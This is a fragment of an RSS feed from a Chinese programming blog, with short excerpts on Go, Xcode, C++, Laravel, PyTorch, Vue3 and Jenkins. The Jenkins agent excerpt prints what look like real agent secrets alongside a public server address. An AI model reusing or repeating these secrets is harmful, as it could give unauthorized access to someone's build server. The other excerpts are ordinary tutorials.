      <link>https://bchobby.github.io/posts/53bfefceadbaa4a900e621d21f8fa2ca/</link>
      <pubDate>Fri, 29 Oct 2021 14:16:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53bfefceadbaa4a900e621d21f8fa2ca/</guid>
      <description>前言 日常开发中我们大概率会遇到超时控制的场景，比如一个批量耗时任务、网络请求等；一个良好的超时控制可以有效的避免一些问题（比如 goroutine 泄露、资源不释放等）。&#xA;Timer 在 go 中实现超时控制的方法非常简单，首先第一种方案是 Time.After(d Duration)：&#xA;func main() { fmt.Println(time.Now()) x := &amp;lt;-time.After(3 * time.Second) fmt.Println(x) } output:&#xA;2021-10-27 23:06:04.304596 +0800 CST m=+0.000085653 2021-10-27 23:06:07.306311 +0800 CST m=+3.001711390 time.After() 会返回一个 Channel，该 Channel 会在延时 d 段时间后写入数据。&#xA;有了这个特性就可以实现一些异步控制超时的场景：&#xA;func main() { ch := make(chan struct{}, 1) go func() { fmt.Println(&#34;do something...&#34;) time.Sleep(4*time.Second) ch&amp;lt;- struct{}{} }() select { case &amp;lt;-ch: fmt.Println(&#34;done&#34;) case &amp;lt;-time.After(3*time.Second): fmt.Println(&#34;timeout&#34;) } } 这里假设有一个 goroutine 在跑一个耗时任务，利用 select 有一个 channel 获取到数据便退出的特性，当 goroutine 没有在有限时间内完成任务时，主 goroutine 便会退出，也就达到了超时的目的。</description>
    </item>
    <item>
      <title>探究 Xcode 命令行用法一：Xcode 构建必备认知</title>
      <link>https://bchobby.github.io/posts/426c0cc6627fe9ef332729821aa61e3f/</link>
      <pubDate>Fri, 29 Oct 2021 13:47:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/426c0cc6627fe9ef332729821aa61e3f/</guid>
      <description>本篇是 adat 项目的延伸文章，也是后续 Xcode 构建实操文章的铺垫，目的是让本系列的读者都有一个共同的认知，当读到某个章节时，不至于对某些概念产生疑惑。这些基础共识，如果你感觉有点模糊，请一定认真读完，如果已经具备，不妨再扫一眼，也许有惊喜哦。&#xA;内容概览 命令行用法文档命令行使用手册如何利用文档写一条命令Target、Configuration 和 Scheme 到底是什么东西？Project、Workspace 又是什么东西？xcodebuild 基础命令精彩预告 命令行用法文档 这里的 “用法” 取自英文的 “Usage”，是用法的简要形式。获取命令的 “用法文档” 取决于命令自身，因此没有固定的写法，工作经验告诉我们有下面几种常见写法（注意 &amp;lt;命令&amp;gt; 后有空格）：&#xA;&amp;lt;命令&amp;gt; -h&amp;lt;命令&amp;gt; help&amp;lt;命令&amp;gt; --help&amp;lt;命令&amp;gt; -usage 或者直接使用空命令尝试，如果命令出错，输出错误信息的同时一般会输出正确的用法。如果命令没有出错，表示该命令无需参数或使用了默认参数，可以通过阅读使用手册来获取。如果还是找不到，最后寻求官方网站的帮助。&#xA;示例，查看git命令的用法文档：&#xA;$ git --help 命令执行后，会将简要用法直接输出在当前界面：&#xA;$ git --help usage: git [--version] [--help] [-C &amp;lt;path&amp;gt;] [-c &amp;lt;name&amp;gt;=&amp;lt;value&amp;gt;] [--exec-path[=&amp;lt;path&amp;gt;]] [--html-path] [--man-path] [--info-path] [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare] [--git-dir=&amp;lt;path&amp;gt;] [--work-tree=&amp;lt;path&amp;gt;] [--namespace=&amp;lt;name&amp;gt;] &amp;lt;command&amp;gt; [&amp;lt;args&amp;gt;] ... See &#39;git help git&#39; for an overview of the system.</description>
    </item>
    <item>
      <title>输入一行字符（输入以字符#结束），分别统计其中字母和数字字符的个数。</title>
      <link>https://bchobby.github.io/posts/ccfa4cbb96e00796c057bae89aefc093/</link>
      <pubDate>Fri, 29 Oct 2021 09:27:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccfa4cbb96e00796c057bae89aefc093/</guid>
      <description>提示：判断一个字符是否为数字字符：c&amp;gt;=’0’&amp;amp;&amp;amp;c&amp;lt;=’9’&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; int main() { cout &amp;lt;&amp;lt; &#34;输入一行字符（输入以字符#结束）&#34;; char zifu; int num=0, zimu=0,other=0; cin &amp;gt;&amp;gt; zifu; while (zifu != &#39;#&#39;) { if (zifu &amp;gt;=&#39;0&#39;&amp;amp;&amp;amp; zifu &amp;lt;= &#39;9&#39;) num+=1; if (zifu &amp;gt;=&#39;a&#39;&amp;amp;&amp;amp; zifu &amp;lt;=&#39;z&#39;|| zifu &amp;gt;=&#39;A&#39;&amp;amp;&amp;amp; zifu &amp;lt;=&#39;Z&#39;) zimu+=1; cin &amp;gt;&amp;gt; zifu; } cout &amp;lt;&amp;lt;&#34;数字=&#34;&amp;lt;&amp;lt; num &amp;lt;&amp;lt; &#34; &#34; &amp;lt;&amp;lt;&#34;字母=&#34;&amp;lt;&amp;lt; zimu; return 0; } 刚开始最困惑的一点在于：无论如何，while内的循环永远只会判断输入的“zifu”的第一个字符，然后后面的不检测了，输出的结果就永远是zimu=1或者是num=1。后来才知道char定义的zifu不等同于int、double之类的，char后面输多少个字符就有多少个字符，比如输入char 12ab3就是定义了五个字符，但int abc只定义了一个变量abc。于是想要依次检测“12ab3”中各个字符的类型就必须在每次检测完成之后推进一个字符，就要在循环末尾加上cin&amp;gt;&amp;gt;zifu，来保证循环能往下推进，否则真的只能检测第一个字符。</description>
    </item>
    <item>
      <title>如何构造哈夫曼树？借助口诀&#43;两个特点</title>
      <link>https://bchobby.github.io/posts/851ce9c5870af30297b0b562a4c3c8fa/</link>
      <pubDate>Thu, 28 Oct 2021 21:23:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/851ce9c5870af30297b0b562a4c3c8fa/</guid>
      <description>贪心算法：先挑小的叶子来构造，大的留到最后就能离根近一些&#xA;哈夫曼算法的步骤：根据n个给定的权值，构造有n个树的森林，n个树都只有1个根结点，其权值给定（森林中有几个树？给了几个权值就几个树，每个树都只有1个结点）&#xA;重复2，3步骤&#xA;直到只剩下一棵树结束&#xA;口诀：&#xA;例子：&#xA;1.构造森林全是根：一开始就用4个结点构造了4棵二叉树，构成一个森林（有几个叶子结点就有几棵树）&#xA;2.选用两小造新树：选2，4为他们两个增加一个双亲结点作为根，这个新树的根结点的权值是两个根结点权值的和，2+4=6&#xA;3.删除两小添新人：现在变成3棵树了，选5，6造一个新树，添加一个根结点，权值5+6=11&#xA;4.重复2，3剩单根：&#xA;错解：&#xA;我做错了&#xA;观察：&#xA;4个叶子结点构造新树，新树的根结点都是度为2的，它必有左右子树，因为我们选用了两小，一个做左子树，一个做右子树，所以新添加的结点都是度为2的，我们一开始的结点都是度为0的&#xA;包含n个叶子结点总共有多少个结点？2n-1&#xA;两两合并产生一个新的结点，如果有n个，一定会合并n-1次，最后才剩下一棵树，这n-1次合并就会产生n-1个结点，这n-1个结点都是度为2的结点，而度为0的结点是n个&#xA;再看一个例子：&#xA;总结：&#xA;1.&#xA;2.</description>
    </item>
    <item>
      <title>PCL存储点云错误pcl::IOException what() [pcl::PCDWriter::writeASCII] Could not open file for writing</title>
      <link>https://bchobby.github.io/posts/1a3ab7a0f98ecaf338b770307bbcc124/</link>
      <pubDate>Thu, 28 Oct 2021 17:53:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a3ab7a0f98ecaf338b770307bbcc124/</guid>
      <description>关于PCL写入/读取点云的报错：&#xA;写入：&#xA;1 点云指针为空。&#xA;最好在写入前面加一个判断，只有当指针不为空时才执行写入到点云的操作，即：&#xA;if (!cloud-&amp;gt;points.empty()) { pcl::PCDWriter writer; writer.write&amp;lt;pcl::PointXYZ&amp;gt; (&#34;cloud.pcd&#34;, *cloud, false); } 2 文件路径不存在。&#xA;一般保存时写的相对路径，是相对于可执行文件的位置而言的。即如果直接保存，则文件存放在和可执行文件相同的位置，如果你写的保存路径下有子文件夹，则会在可执行文件的位置搜索这个文件夹，如果有，则保存；如果没有，则报错。（有时候好像不会报错，也没有这个文件。）&#xA;这样一来，最好在程序开头检查一下有没有这个文件夹，如果没有，则创建之。&#xA;DIR *dir; if ((dir = opendir(&#34;/home/aemc/catkin_ws/devel/lib/rvv/out/&#34;)) == NULL) { system(&#34;mkdir -p /home/aemc/catkin_ws/devel/lib/rvv/out/&#34;); //system( s.c_str() ); } 上述代码我在ubuntu下编译没有错，如果是windows系统，需要加一个函数来把你写的路径转换成字符串。&#xA;DIR *dir; if ((dir = opendir(&#34;/home/aemc/catkin_ws/devel/lib/rvv/out/&#34;.c_str())) == NULL) { system(&#34;mkdir -p /home/aemc/catkin_ws/devel/lib/rvv/out/&#34;); } 3 没有写入权限。&#xA;不妨在开头先试一下能不能写入文件。&#xA;FILE* tempFile = fopen(&#34;test.txt&#34;, &#34;w+&#34;); if (tempFile == nullptr) { cout &amp;lt;&amp;lt; &#34;没有写入权限！&#34;&amp;lt;&amp;lt; endl; return -1; } fclose(tempFile); remove(&#34;</description>
    </item>
    <item>
      <title>Windows配置Anaconda环境变量</title>
      <link>https://bchobby.github.io/posts/61c0a4f643e3d3ce63c382dde61b23d5/</link>
      <pubDate>Thu, 28 Oct 2021 11:02:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61c0a4f643e3d3ce63c382dde61b23d5/</guid>
      <description> 安装Anaconda后，如果环境变量配置不当，python没法正常使用，要不找不到python路径，要不import报错，将下面三个路径配置到系统变量path中，python就能正常还行了。&#xA;C:\ProgramData\Anaconda3 C:\ProgramData\Anaconda3\Scripts C:\ProgramData\Anaconda3\Library\bin </description>
    </item>
    <item>
      <title>Jenkins Docker静态agent节点的构建</title>
      <link>https://bchobby.github.io/posts/2acf689f0638e5047d124f0d0579ca0c/</link>
      <pubDate>Thu, 28 Oct 2021 10:37:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2acf689f0638e5047d124f0d0579ca0c/</guid>
      <description>静态节点就是固定的在一台机器上面，通过一些固定的命令将其启动起来，动态节点就是来了多个任务，可以帮你创建多个agent去跑。而不像静态节点来了多个任务，那么就会等待这个任务队列，然后进行这个构建。这就是静态和动态的区别。&#xA;静态节点就是通过java -jar这条命令去启动起来就可以了。&#xA;1. 静态节点实践 首先，在Jenkins 中创建一个jnlp类型的agent， 拿到连接所需要的认证和秘钥信息。&#xA;jar -jar这条命令后面有很多的参数，不管是配置动态节点还是静态节点，这些参数都会用到。 java -jar agent.jar -jnlpUrl http://192.168.1.200:8080/computer/buildtest01/jenkins-agent.jnlp -secret 047a2627be5ee128c1a93f281051acc7bbbbd5221dcb56ae9fa408a494e72c2f -workDir &#34;/home/jenkins&#34; 1.1 Docker静态节点&#xA;启动镜像，传递认证参数。(使用docker的话其实就是使用一个镜像，镜像里面运行了一个agent，然后将这些参数传递进去)&#xA;在虚拟机上面下载agent.jar包然后手动执行这些命令就可以了 在命令行中启动节点 java -jar agent.jar -jnlpUrl http://139.198.166.235:8080/computer/build%2D02/jenkins-agent.jnlp -secret 942d7e769a43f65388751ee954af20e90fa0c5f8bdb19e0584db4cc61adab8ba -workDir &#34;/var/jenkins&#34; Run from agent command line, with the secret stored in a file: echo 942d7e769a43f65388751ee954af20e90fa0c5f8bdb19e0584db4cc61adab8ba &amp;gt; secret-file java -jar agent.jar -jnlpUrl http://139.198.166.235:8080/computer/build%2D02/jenkins-agent.jnlp -secret @secret-file -workDir &#34;/var/jenkins&#34; 如果是在docker里面就需要找一个agent镜像：inbound-agent镜像 : Docker Hub&#xA;## 测试 [root@jenkins-agent ~]# docker run --init jenkins/inbound-agent -url http://139.</description>
    </item>
    <item>
      <title>深度学习领域的论文该怎么写？</title>
      <link>https://bchobby.github.io/posts/b925b583dfdc7bc96e15d1aff1db67d5/</link>
      <pubDate>Thu, 28 Oct 2021 10:02:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b925b583dfdc7bc96e15d1aff1db67d5/</guid>
      <description>深度学习领域的论文有很多，今天给大家分享一个好用的网站AMiner，在主页我的订阅那里输入deep learning，系统就会自己推荐最新的优质论文，而且论文都是可以免费下载的，希望大家可以通过这个网站找到心目中最惊艳的论文~&#xA;AMiner平台链接: https://www.aminer.cn/?f=cs</description>
    </item>
    <item>
      <title>Ps 2022 版新增功能及改进</title>
      <link>https://bchobby.github.io/posts/cd0751a1875f49bbb780ca64f1e51060/</link>
      <pubDate>Thu, 28 Oct 2021 00:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd0751a1875f49bbb780ca64f1e51060/</guid>
      <description>Ps 2022 版，即 Photoshop 2021 年 10 月版（版本 23.0） 。&#xA;Ps 2022 版对电脑硬件有更高的要求，包括更新的显卡、更大的内存等，电脑配置较低的用户谨慎升级。&#xA;Camera Raw 滤镜 的升级&#xA;Camera Raw 滤镜升级到版本 14。&#xA;Camera Raw 14 主要增加了强大的蒙版功能，&#xA;包括基于人工智能技术的选择主体和选择天空功能，自动创建蒙版。&#xA;既可以在一个蒙版中添加多个区域或减去不需要的区域，亦可以创建多个蒙版。&#xA;对象选择工具的更新&#xA;当使用对象选择工具时，将鼠标悬停在图像上并单击时，系统可自动选取图像的某一部分。&#xA;加按 Ctrl （Win）/Shift（macOS）键可继续选择。 取消勾选工具选项栏上的“对象查找程序” Object Finder选项，即恢复至手动选择。 新式油画滤镜&#xA;Ps菜单：滤镜/风格化/油画&#xA;Filter/Stylize/Oil Paint&#xA;新的基于 GPU 的油画滤镜，不再依赖于计算机上的 OpenCL 子系统。&#xA;要获得更佳性能，请在“首选项/性能&#34;中启用“使用图形处理器”。&#xA;改进的渐变工具&#xA;借助新的插值选项，渐变现在看起来比以往更清晰、更明亮、更出色。&#xA;方法 Method&#xA;--可感知 Percetural&#xA;--线性 Linear&#xA;--经典 Classic&#xA;选择主体云服务&#xA;提供比当前选择主体更高质量的结果。&#xA;改进的“导出为...”&#xA;Ps菜单：文件/导出/导出为...&#xA;File/Export/Export As...&#xA;“导出为”的速度比以往更快。&#xA;可以输出动画 GIF，并与原始文件并排进行比较。&#xA;共享以供注释功能&#xA;Ps菜单：窗口/注释&#xA;Window/Comments&#xA;解决 - 解决并响应注释</description>
    </item>
    <item>
      <title>php 解析excel 表格的数据方法</title>
      <link>https://bchobby.github.io/posts/d739657318267a44567b239586e9d3a8/</link>
      <pubDate>Wed, 27 Oct 2021 16:09:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d739657318267a44567b239586e9d3a8/</guid>
      <description>1、获取本地某个excel 的数据，如表格&#xA;2、做成动态的数据，如按照一定的表格样式构建数据，然后上传，获取文件地址，开始解析excel,获取数据&#xA;以上两个方法都可以用如下方法，便可以解析出excel 里面的数据&#xA;public function handle_data(){ /*读取excel文件，并进行相应处理*/ //s$fileName = &#34;F:/handle_data/data.xlsx&#34;; 这是第一个方法，直接获取文件excel的地址 //$fileName = &#34;F:/handle_data/test.xlsx&#34;; error_reporting(E_ALL); ini_set(&#39;display_errors&#39;, TRUE); ini_set(&#39;display_startup_errors&#39;, TRUE); $info = array(&#39;status&#39; =&amp;gt; &#39;fail&#39;, &#39;msg&#39; =&amp;gt; &#39;上传失败!&#39;); $file = $_FILES[&#39;upfile&#39;];这是第二个方法，上传本地文件excel,到下面去获取excel地址 if ($file[&#39;error&#39;] == 4) { $info[&#39;msg&#39;] = &#39;请选择文件后再上传！&#39;; } else if ($file[&#39;error&#39;] == 1) { $info[&#39;msg&#39;] = &#39;文件超出了php.ini文件指定大小！&#39;; } else if ($file[&#39;size&#39;] &amp;gt; 0) { $key = md5_file($file[&#39;tmp_name&#39;]); $upfile_path = Tiny::getPath(&#34;uploads&#34;) . &#39;/excel/&#39;; $upfile_url = preg_replace(&#34;|^&#34; . APP_URL .</description>
    </item>
    <item>
      <title>Laravel8 利用passport实现登录和JWT生成（生成Token）</title>
      <link>https://bchobby.github.io/posts/83b2bbcda094c133d09bf4e32cd30fcf/</link>
      <pubDate>Wed, 27 Oct 2021 15:57:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83b2bbcda094c133d09bf4e32cd30fcf/</guid>
      <description>1.安装passport插件&#xA;composer require laravel/passport 或 composer require laravel/passport &#34;^9.0&#34; 2.执迁迁移文件，生成数据表，保存token数据&#xA;php artisan migrate 3.生成客户端授权码 注：secret保存起来 php artisan passport:install 4.修改接口账号模型&#xA;5.修改config/auth.php文件中的api配置 6.令牌的有效期&#xA;在app/Proivders/AuthServiceProvide.php文件中的boot方法添加有效期&#xA;use Laravel\Passport\Passport; // token认证有效期2小时 Passport::tokensExpireIn(now()-&amp;gt;addHour(2)); // 刷新token认证有效期30天 Passport::refreshTokensExpireIn(now()-&amp;gt;addDays(30)); 7.解决auth在接口中登录没有attempt问题&#xA;8.实现登录，并且注意，如果登录不成功，数据返回符合restful规范&#xA;9. 接口token生成&#xA;生成接口验证token在登录成功后生成&#xA;此处附上代码&#xA;public function login(Request $request){ //表单验证 //异步获取 ajax 和 接口会用 try { $this-&amp;gt;validate($request,[ &#39;username&#39; =&amp;gt; &#39;required&#39;, &#39;password&#39; =&amp;gt; &#39;required&#39;, ]); }catch (\Exception $exception){ return response()-&amp;gt;json([&#39;code&#39;=&amp;gt;1,&#39;msg&#39;=&amp;gt;&#39;账号或密码不能为空&#39;],400); } //查看对象中可用的方法 //dump(get_class_methods());die; $data = $request-&amp;gt;all(); unset($data[&#39;_token&#39;]); $bool = auth()-&amp;gt;guard(&#39;apiweb&#39;)-&amp;gt;attempt($data); //账号登录成功 if ($bool){ //得到用户模型对象 $userModel = auth()-&amp;gt;guard(&#39;apiweb&#39;)-&amp;gt;user(); //生成token 保存在服务器端1份 给客户返回1份 $token = $userModel-&amp;gt;createToken(&#39;api&#39;)-&amp;gt;accessToken; $data = [ &#39;expire&#39; =&amp;gt; 7200, &#39;token&#39; =&amp;gt; $token ]; return response()-&amp;gt;json($data); }else{ return response()-&amp;gt;json([&#39;code&#39;=&amp;gt;2,&#39;msg&#39;=&amp;gt;&#39;账号或密码不正确&#39;],401); } } 10.</description>
    </item>
    <item>
      <title>​LeetCode刷题实战421：数组中两个数的最大异或值</title>
      <link>https://bchobby.github.io/posts/d2c1fd5697c5b02f25da4bc47b6c9a55/</link>
      <pubDate>Wed, 27 Oct 2021 13:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2c1fd5697c5b02f25da4bc47b6c9a55/</guid>
      <description>算法的重要性，我就不多说了吧，想去大厂，就必须要经过基础知识和业务逻辑面试+算法面试。所以，为了提高大家的算法能力，这个公众号后续每天带大家做一道算法题，题目就从LeetCode上面选 ！&#xA;今天和大家聊的问题叫做 数组中两个数的最大异或值，我们先来看题面：&#xA;https://leetcode-cn.com/problems/maximum-xor-of-two-numbers-in-an-array/&#xA;Given an integer array nums, return the maximum result of nums[i] XOR nums[j], where 0 &amp;lt;= i &amp;lt;= j &amp;lt; n.&#xA;给你一个整数数组 nums ，返回 nums[i] XOR nums[j] 的最大运算结果，其中 0 ≤ i ≤ j &amp;lt; n 。&#xA;进阶：你可以在 O(n) 的时间解决这个问题吗？&#xA;示例 示例 1： 输入：nums = [3,10,5,25,2,8] 输出：28 解释：最大运算结果是 5 XOR 25 = 28. 示例 2： 输入：nums = [0] 输出：0 示例 3： 输入：nums = [2,4] 输出：6 示例 4： 输入：nums = [8,10,2] 输出：10 示例 5： 输入：nums = [14,70,53,83,49,91,36,80,92,51,66,70] 输出：127 解题 https://blog.</description>
    </item>
    <item>
      <title>~/.bash_profile配置无问题，为何每次打开新的终端都需要source ～/.bash_profile 才可以生效呢？</title>
      <link>https://bchobby.github.io/posts/6a1958cf9f8b9ecc7c00dfa30bd442f9/</link>
      <pubDate>Tue, 26 Oct 2021 20:27:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a1958cf9f8b9ecc7c00dfa30bd442f9/</guid>
      <description>上面的问题涉及到的核心问题就是环境配置，这里就直接放解决方法了，想了解更多的可自行去学习下macOS环境变量相关内容～；&#xA;出现这样的问题，可以想到的就是一定是某个地方少了自动source配置，才造成需要自行source的结果，解决方案为：&#xA;cd ~ ls .zshrc vim .zshrc 写入：source ~/.bash_profile :wq 进行关闭 即可在任意新终端进行任意目录下工具的调用～</description>
    </item>
    <item>
      <title>python&#43;ADB实现手机控制（2021淘宝的喵糖活动自动点击）</title>
      <link>https://bchobby.github.io/posts/e53c613251722c709a7dd208f81d5ca0/</link>
      <pubDate>Tue, 26 Oct 2021 19:47:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e53c613251722c709a7dd208f81d5ca0/</guid>
      <description>python+ADB实现手机控制（2021淘宝的喵糖活动自动点击） 背景环境ADB（Android 调试桥）python环境手机环境 简单程序 背景 双十一 TaoBao的活动太折磨人了，要一个一个点击进去浏览，等待若干秒，不如直接写个小程序挂机吧！！！&#xA;环境 ADB（Android 调试桥） ADB提供了一组你可以控制调试安卓手机的命令，理解起来并不难。有了ADB，你可以把自己对手机的操作替换成命令行。&#xA;ADB的官网下载连接：https://editor.csdn.net/md?not_checkout=1&amp;amp;articleId=120978183。&#xA;ADB下载后解压，不能直接点击EXE文件运行，需要通过命令行的方式打开。通过CMD方式打开ADB，记得将目录切换到adb.exe在的路径。输入adb，检查是否正确执行：&#xA;为了python能够直接调用adb，需要添加环境变量。&#xA;添加环境变量：与所有田间环境变量的方法一样，在高级系统设置里添加一条新的环境变量，名称为“adb”，路径为adb的解压路径，然后在PATH变量中，新增一条路径。&#xA;python环境 这个右手就行吧&#xA;手机环境 打开开发者模式打开USB中允许模拟点击，红米K20如下图： -tips：如果不打开，在执行adb命令时，会报如下错误：&#xA;错误信息：&#xA;java.lang.SecurityException: Injecting to another application requires INJECT_EVENTS permission at android.os.Parcel.createExceptionOrNull(Parcel.java:2376) at android.os.Parcel.createException(Parcel.java:2360) at android.os.Parcel.readException(Parcel.java:2343) at android.os.Parcel.readException(Parcel.java:2285) at android.hardware.input.IInputManager$Stub$Proxy.injectInputEvent(IInputManager.java:1012) at android.hardware.input.InputManager.injectInputEvent(InputManager.java:907) at com.android.commands.input.Input.injectKeyEvent(Input.java:355) at com.android.commands.input.Input.access$100(Input.java:41) at com.android.commands.input.Input$InputKeyEvent.sendKeyEvent(Input.java:203) at com.android.commands.input.Input$InputKeyEvent.run(Input.java:190) at com.android.commands.input.Input.onRun(Input.java:107) at com.android.internal.os.BaseCommand.run(BaseCommand.java:60) at com.android.commands.input.Input.main(Input.java:71) at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method) at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:463) Caused by: android.os.RemoteException: Remote stack trace: at com.android.server.input.InputManagerService.injectInputEventInternal(InputManagerService.java:812) at com.</description>
    </item>
    <item>
      <title>深度学习Pytorch（五）——数据加载和处理</title>
      <link>https://bchobby.github.io/posts/21e4fab5286100296a9d3aae1d0dad72/</link>
      <pubDate>Tue, 26 Oct 2021 19:30:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21e4fab5286100296a9d3aae1d0dad72/</guid>
      <description>深度学习Pytorch（五）——数据加载和处理 文章目录 深度学习Pytorch（五）——数据加载和处理一、下载安装包二、下载数据集三、读取数据集四、编写一个函数看看图像和landmark五、数据集类六、数据可视化七、数据变换1、Function_Rescale2、Function_RandomCrop3、Function_ToTensor 八、组合转换九、迭代数据集 一、下载安装包 packages:&#xA;scikit-image:用于图像测IO和变换pandas:方便进行csv解析 二、下载数据集 数据集说明：该数据集（我在这）是imagenet数据集标注为face的图片当中在dlib面部检测表现良好的图片——处理的是一个面部姿态的数据集，也就是按照入戏方式标注人脸&#xA;数据集展示&#xA;三、读取数据集 #%%读取数据集 landmarks_frame=pd.read_csv(&#39;D:/Python/Pytorch/data/faces/face_landmarks.csv&#39;) n=65 img_name=landmarks_frame.iloc[n,0] landmarks=landmarks_frame.iloc[n,1:].values landmarks=landmarks.astype(&#39;float&#39;).reshape(-1,2) print(&#39;Image name :{}&#39;.format(img_name)) print(&#39;Landmarks shape :{}&#39;.format(landmarks.shape)) print(&#39;First 4 Landmarks:{}&#39;.format(landmarks[:4])) 运行结果&#xA;四、编写一个函数看看图像和landmark #%%编写显示人脸函数 def show_landmarks(image,landmarks): plt.imshow(image) plt.scatter(landmarks[:,0],landmarks[:,1],s=10,marker=&#34;.&#34;,c=&#39;r&#39;) plt.pause(0.001) plt.figure() show_landmarks(io.imread(os.path.join(&#39;D:/Python/Pytorch/data/faces/&#39;,img_name)),landmarks) plt.show() 运行结果&#xA;五、数据集类 torch.utils.data.Dataset是表示数据集的抽象类，自定义数据类应继承Dataset并覆盖__len__实现len（dataset）返还数据集的尺寸。__getitem__用来获取一些索引数据：&#xA;#%%数据集类——将数据集封装成一个类 class FaceLandmarksDataset(Dataset): def __init__(self,csv_file,root_dir,transform=None): # csv_file(string):待注释的csv文件的路径 # root_dir(string):包含所有图像的目录 # transform（callabele,optional）:一个样本上的可用的可选变换 self.landmarks_frame=pd.read_csv(csv_file) self.root_dir=root_dir self.transform=transform def __len__(self): return len(self.landmarks_frame) def __getitem__(self, idx): img_name=os.path.join(self.root_dir,self.landmarks_frame.iloc[idx,0]) image=io.imread(img_name) landmarks=self.landmarks_frame.iloc[idx,1:] landmarks=np.array([landmarks]) landmarks=landmarks.astype(&#39;float&#39;).reshape(-1,2) sample={&#39;image&#39;:image,&#39;landmarks&#39;:landmarks} if self.transform: sample=self.</description>
    </item>
    <item>
      <title>不同的Ubuntu服务器上，Anaconda的python虚拟环境迁移</title>
      <link>https://bchobby.github.io/posts/4ed568525006a144800bad26080e83a2/</link>
      <pubDate>Tue, 26 Oct 2021 18:17:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ed568525006a144800bad26080e83a2/</guid>
      <description>目的：直接打包迁移anaconda中的python环境 将anaconda中的python虚拟环境，从一台服务器，直接“拷贝”到另一台服务器中。如果重新安装环境，python依赖的各个包还要重新下载安装一遍，贼麻烦！&#xA;前提介绍 Ubuntu16.04&#xA;anaconda3.5&#xA;迁移目标：python3.6（即上图中的env1）&#xA;anaconda可以管理多个虚拟环境，在anaconda/envs目录下。假如服务器1上，我们有5个python环境（如上图），我们现在要把env1，复制到新的服务器2上。&#xA;迁移过程 将服务器1上的anaconda/envs/env1，复制一份到服务器2的anaconda/envs下.修改pip文件。pip具体路径：anaconda/envs/env1/bin/pip&#xA;第一行中的python绝对路径需要修改正确！！！（否则pip install 报错） #!/home/njlz/anaconda3/envs/uphead/bin/python # -*- coding: utf-8 -*- import re import sys from pip._internal.cli.main import main if __name__ == &#39;__main__&#39;: sys.argv[0] = re.sub(r&#39;(-script\.pyw?|\.exe)?$&#39;, &#39;&#39;, sys.argv[0]) sys.exit(main()) 注：暂时只遇到pip的问题，也许会出现anaconda/envs/env1/bin/目录中其他的执行命令的报错，大概率也是类似的原因。</description>
    </item>
    <item>
      <title>如何充分利用Composition API对Vue3项目进行代码抽离</title>
      <link>https://bchobby.github.io/posts/f5a02c851ef1e4ab50b0039c696f32b3/</link>
      <pubDate>Tue, 26 Oct 2021 18:10:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5a02c851ef1e4ab50b0039c696f32b3/</guid>
      <description>Composition API的出现就是为了解决Options API导致相同功能代码分散的现象 看了一下我项目初版的代码，简直是没有体现出Composition API的优势，可以给大家看一下某个组件内的代码&#xA;&amp;lt;template&amp;gt; &amp;lt;aside id=&#34;tabs-container&#34;&amp;gt; &amp;lt;div id=&#34;logo-container&#34;&amp;gt; {{ navInfos.navName }} &amp;lt;/div&amp;gt; &amp;lt;ul id=&#34;tabs&#34;&amp;gt; &amp;lt;li class=&#34;tab tab-search&#34; @click=&#34;showSearch&#34;&amp;gt; &amp;lt;i class=&#34;fas fa-search tab-icon&#34;/&amp;gt; &amp;lt;span&amp;gt;快速搜索&amp;lt;/span&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li class=&#34;tab tab-save&#34; @click=&#34;showSaveConfigAlert&#34;&amp;gt; &amp;lt;i class=&#34;fas fa-share-square tab-icon&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;span&amp;gt;保存配置&amp;lt;/span&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;li class=&#34;tab tab-import&#34; @click=&#34;showImportConfigAlert&#34;&amp;gt; &amp;lt;i class=&#34;fas fa-cog tab-icon&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;span&amp;gt;导入配置&amp;lt;/span&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;br&amp;gt; &amp;lt;li v-for=&#34;(item, index) in navInfos.catalogue&#34; :key=&#34;index&#34; class=&#34;tab&#34; @click=&#34;toID(item.id)&#34;&amp;gt; &amp;lt;span class=&#34;li-container&#34;&amp;gt; &amp;lt;i :class=&#34;[&#39;fas&#39;, `fa-${item.icon}`, &#39;tab-icon&#39;]&#34; /&amp;gt; &amp;lt;span&amp;gt;{{ item.name }}&amp;lt;/span&amp;gt; &amp;lt;i class=&#34;fas fa-angle-right tab-icon tab-angle-right&#34;</description>
    </item>
    <item>
      <title>利用vue3&#43;ts实现管理后台（增删改查）</title>
      <link>https://bchobby.github.io/posts/db19e55e507668c05f892b6581a7c42c/</link>
      <pubDate>Tue, 26 Oct 2021 17:52:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db19e55e507668c05f892b6581a7c42c/</guid>
